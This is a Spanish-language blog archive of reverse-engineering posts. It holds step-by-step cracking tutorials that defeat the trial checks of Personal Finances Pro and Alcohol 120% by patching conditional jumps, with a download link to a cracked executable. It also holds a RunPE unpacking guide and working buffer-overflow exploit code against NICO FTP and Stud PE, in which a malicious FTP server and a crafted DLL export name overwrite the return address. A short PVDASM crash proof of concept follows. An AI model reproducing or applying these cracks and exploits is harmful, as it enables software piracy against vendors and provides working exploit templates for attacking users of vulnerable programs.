jueves, 10 de febrero de 2011

Parcheando Personal Finances Pro 4.3




Personal Finances Pro 4.3

  • Herramientas
  • Olly Dbg Shadow
  • HDASM

  • ¿Que se planea lograr con este tutorial?

    Lo que se planea es lograr que no salte la molesta ventana que muestra que estamos en modo "trial".

  • Tutorial


    Al abrir el programa por primera vez nos aparece una molesta ventana que indica que estamos en el modo trial .

    NOTA: En mi caso por que cambie la fecha aparece que me quedan 0 dias pero a ustedes les dira que le quedan 30 dias.



    Al ver la imagen lo primero que noto que aunque todo el programa lo tengo en un idioma raro sigue el "Days Left" , gracias a esto tendre un punto de referencia , para encontrar dicho punto de referencia lo que haremos es abrir el programa con HDASM y procedimos a seleccionar todas las secciones tal como muestra la imagen



    Luego le damos a Disassemble cuando el programa termina de analizar nuestro .exe iremos a "References->String References" y nos pondremos a buscar nuestra cadena magica "Days Left" y al aparecer le daremos doble click.



    Este programa nos enviara a una dirección que sera la que ocuparemos de referencia (0x006B290B).


    Abrimos nuestro Personal Finances Pro 4.3 con el "Olly DBG Shadow" y nos vamos con "ctrl + g" a 006B290B y en ese lugar pondremos un BP con F2


    Lo ponemos a correr con F9 y nos ponemos a debuggear con F8 , luego de un rato de debuggear notaremos que estabamos dentro de una función al ver el "RETN" en 0x006B2985 al salir de dicha funcion veremos 2 saltos condicionales en 6C2498 y 6C24D5 los dos son "JE" los cambiamos por su contrario "JNE" y echamos a correr el programa y WALA!! no saltara mas la ventanita lo guardamos y listo :D

    Código
      /*6C247E*/  MOV DWORD PTR SS:[EBP-4A4],EAX
    /*6C2484*/  MOV BYTE PTR SS:[EBP-4A5],1
    /*6C248B*/  MOV EDX,DWORD PTR SS:[EBP-37C]
    /*6C2491*/  CMP DWORD PTR DS:[EDX+55C],0
    /*6C2498*/  JE SHORT Personal.006C24C2
    /*6C249A*/  MOV ECX,DWORD PTR SS:[EBP-37C]
    /*6C24A0*/  MOV EAX,DWORD PTR DS:[ECX+55C]
    /*6C24A6*/  PUSH EAX
    /*6C24A7*/  MOV EDX,DWORD PTR DS:[EAX]
    /*6C24A9*/  CALL DWORD PTR DS:[EDX+40]
    /*6C24AC*/  POP ECX
    /*6C24AD*/  MOV EDX,EAX
    /*6C24AF*/  XOR ECX,ECX
    /*6C24B1*/  MOV EAX,DWORD PTR SS:[EBP-4A4]
    /*6C24B7*/  CALL Personal.006B2988
    /*6C24BC*/  MOV BYTE PTR SS:[EBP-4A5],AL
    /*6C24C2*/  MOV EAX,DWORD PTR SS:[EBP-4A4]
    /*6C24C8*/  MOV DWORD PTR SS:[EBP-2FC],EAX
    /*6C24CE*/  CMP DWORD PTR SS:[EBP-2FC],0
    /*6C24D5*/  JE SHORT Personal.006C2507
     
     

miércoles, 19 de mayo de 2010

Parcheando el Alcohol 120% 2.0

Parcheando el Alcohol 120% 2.0




  • ¿Que se planea lograr con este parche?


    Lo que se planea es que nunca caduque el modo de prueba ( TRIAL ) .


  • Tutorial


    Lo primero que haremos y que es bueno siempre hacerlo cuando se planee crackear algún programa es ver si esta enpaquetado con algún packer , para esto utilizaremos el peid(web) .





    Como vemos en el peid esta empaquetado con el UPX , existen varias opciones para desempaquetarlo yo usare el PE Explorer (web) con este p`rograma solo abrimos nuestro exe ( el alcohol ) y este se desempaqueta automaticamente y luego lo guardamos con el nombre Alchol_UNPACK.exe .


    Ejecutamos el alchool ( el empaquetado o el desempaquetado da igual) luego cambiamos la fecha de nuestro sistema y la adelantamos un año esto lo haremos para vencer el modo de prueba , lo volvemos a ejecutar y nos saltara un mensaje como el siguiente




    Ya teniendo el exe desempaquetado lo abrimos con una muy buena modificación del olly dbg que es el Olly Shadow( DESCARGAR ) , para obtener donde dice el programa que estamos vencidos usaremos de guia el mensaje anterior por lo tanto pondremos un "BP MessageBoxW" en la barra de comandos y le damos a enter .


    Veremos que para cuando llama a MessageBoxW comprobamos que el mensaje sea el mismo que nos muestro si no es apretamos F9



    pero en el caso de ser vamos apretando F8 hasta que nos encontremos en el espacio de memoria del exe y no de la dll y llegaremos a un codigo como este



    analizamos un poco el codigo anterior al MessageBox hasta encontrarnos con unos saltos condicionales sospechosos , les pondremos un break point con F2 al test al,al y volveremos a lanzar el exe en este momento el exe parara en el BP y segurimos el anlaisis con F8 vemos que el JNZ luego del test al,al saltan al bloque cercano del codigo del MessageBox a si que cambiaremos la condición a JZ y le damos a F9 y EUREKA!!! nos muestra todo como si fuera dentro del plazo :P



    Saltos sospechosos:

    Código
    /*43A181*/  TEST AL,AL
    /*43A183*/ JNZ SHORT Alcohol_.0043A1A4
    /*43A185*/ MOV ECX,DWORD PTR SS:[EBP-134]
    /*43A18B*/ CMP ECX,0F
    /*43A18E*/ JG SHORT Alcohol_.0043A1A4
    /*43A190*/ FLD QWORD PTR SS:[EBP-13C]
    /*43A196*/ CALL Alcohol_.0063D450
    /*43A19B*/ CMP EAX,0F
    /*43A19E*/ JLE Alcohol_.0043A434




    Yo modifique el exe para saltar un poco lo que jode del modo trial que no explicare en mayoria ya que fue un proceso muy largo para analizar el exe modificado se los dejo :P

    http://www.megaupload.com/?d=GYA38W9U





SE NECESITA ELIMINAR LA CARPETA LANGS

sábado, 15 de mayo de 2010

[Tuto]Desempaquetando RunPE

[Tuto]Desempaquetando RunPE


¿Que es RunPE?

Es un modulo realizado en VB que ultimamente se utiliza mucho en la creación de crypters ( herramientas para saltarse los antivirus generalmente ) aunque este metodo para desempaquetar no es para exclusivamente este modulo si no para el metodo de inyección de exe que ocupa

Teoría


Lo que haremos es abrir el exe que contiene el programa que queremos desempaquetar con el ollydbg y simplemente irnos a la api ZwSetContextThread de la ntdll.dll y poner un BreakPoint ( Acuerdenze de analizar que el crypter no haaga nada mas que inyectar el exe o hacerlo en una VM ) luego darle F2 a el exe y cuando llegue al BreakPoint cerrar el exe y luego lo dumpearemos con un exe de fabricación casera mia
:P


Acción


Paso 1

Abrimos el exe con el ollydbg luego nos vamos a la E gigante de la barra de arriba , luego vemos se le hace un click a la ntdll y despues escribimos ZwSetContextThread cuando nos encontremos en el nombre adecuado apretamos F2 cuando aparesca en rojo apretaremos F9 esperaremos y luego cerraremos


Paso 2

Con el Taskmgr rebizaremos que proceso tiene una ram extremadamente baja como 72 kb a 180kb ( generalmente es un notepad un calc.exe o el mismo exe que abrimos ) para saber en que proceso inyecto el exe y le vemos el PID (Process ID ).

Luego descargaremos mi herramienta metemos los datos necesarios y wala exe desempaquetado :P


No es el mejor tuto que fabricado pero creo que esta explicado bien :P

Saludos
SecMAM

Herramienta:

http://www.2shared.com/file/ER3Z6mGo/Dumper.html

domingo, 7 de marzo de 2010

[BUG] NICO FTP 3.0.1.19

NOTA : El BUG NO ESTOY DEL TODO SEGURO EN SER EL PRIMERO EN DESCUBRIRLO YA QUE EXISTE OTRO BUG QUE NO ENCONTRE INFORMACION EN ESPAÑOL NI EXPLOIT



El exploit lo que hace es saltar a una direccion(004AB481) en el mismo codigo para mostrar un MessageBox

http://rapidshare.com/files/360325715/Exploit_NicoFTP.rar.html

http://www.2shared.com/file/11930614/41732bad/Exploit_NicoFTP.html


Código


Const Command = "open "
Const LenExploit = "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"

Private Sub Form_Load()
Winsock1.LocalPort = 21
Winsock1.Listen
End Sub

Private Sub Timer1_Timer()
Label1.Caption = Winsock1.State

End Sub

Private Sub Timer2_Timer()
Dim Exploit As String

If Winsock1.State = 7 Then
Dim i As Integer
For i = 1 To Len(LenExploit)
Exploit = Exploit & Chr(&H90)

Next i


'Chr(&H81) & Chr(&HB4) & Chr(&H4A) = &H81B44A = &H004AB481
Winsock1.SendData Command & Exploit & Chr(&H81) & Chr(&HB4) & Chr(&H4A) & Chr(13) & Chr(10) & Chr(0)
End If

If Winsock1.State = 9 Then
Winsock1.Close
Winsock1.Listen
End If


End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then
Winsock1.Close
End If



Winsock1.Accept requestID
End Sub



viernes, 5 de marzo de 2010

[BUG-BOF] Stud PE 2.6.0.5

En la version 2.6.0.5 y seguramente en algunas anteriores se encuentra un bug del tipo BOF , este ocurre en el listado de las funciones exportada al poner una funcion de nombre muy largo .


Este BUG podria permitir la ejecucion de un ShellCode , aunque el exploit que se publicara solamente causa un salto a 0xFFFFFFFF para evitar el uso malicioso por cualquier persona.


El buffer donde se explota el BOF es algo a si


4 bytes ( Poner cualquiera ) + 262 bytes ( Normalmente aqui iria un ShellCode) + 4 bytes[Direccion de retorno]

Código
Exploit equ  4 dup(0x90) ,262 dup (0x90) , 4 dup (0xFF) ;0xFFFFFFFF = jmp 0xFFFFFFFF
include "win32ax.inc"
entry ini
.data
ini:

proc start

stdcall dword[ExitProcess],0

endp
data import
ccbase = $400000
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase

dd 0


_ExitProcess: db 0,0,"ExitProcess",0
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,Exploit



section '.reloc' fixups data discardable

domingo, 14 de febrero de 2010

[BUG DOS]PVDASM v1.7

http://pvdasm.reverse-engineering.net/index.php?Section=1

El bug ocurre por que el programa no reviza el largo de las funciones importadas por el exe por lo tanto si nosotros importamos una api de mayor largo que lo permitido el programa crachea sin oportunidad de anlizarlo :P

El error en si ocurre por un wsprintf a un buffer muy pequeño




Dejo una prueba de concepto ensamblada con FASM ( nota: el .exe se tiene que llamar bug2.exe ) :P

Código


aaaa equ MAX_PATH dup ('A')
include "win32ax.inc"
entry ini
.data
ini:

proc start
stdcall dword[MessageBox],0,"Hola",0,0
stdcall dword[ExitProcess],0
call dword[main]

endp
data import
xxitbeg:
ccbase = $400000 ; 4 M
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0, user_name - ccbase , user_table - ccbase
dd 0,0,0, errormsg_name - ccbase , errormsg_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase
dd 0


_ExitProcess: db 0,0,"ExitProcess",0


user_name: db "user32.dll",0
user_table:
MessageBox: dd _MessageBox - ccbase
dd 0


_MessageBox: db 0,0,"MessageBoxA",0


errormsg_name: db "bug2.exe",0
errormsg_table:
main: dd _start - ccbase
dd 0


_start: db 0,0,aaaa,0


xxitend:

xxpadend:
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,aaaa


section '.reloc' fixups data discardable

domingo, 7 de febrero de 2010

[Teoria]Obteniendo nuestra IP publica desde hotmail o gmail.

Muy comunmente nos encontramos con el problema de como obtener nuestra IP externa desde nuestro programa si el PC esta dentro de una LAN .

La solucion mas facil es pedirsela al servidor de SMTP de hotmail o gmail , pero como se la pedimos ? facil .

Primero nos conectamos por el puerto 25 al servidor SMTP de gmail(smtp.gmail.com) o hotmail(smtp.live.com) , luego de eso enviamos un paquete como sera este

EHLO mail-ww0-f47.google.com

y el servidor nos respondera con algo como

250-mx.google.com at your service, [200.xxx.xxx.xxx]

seguido de otros datos sin importancia para nuestro motivo

Como notaran entre los corchetes esta nuestra IP publica :P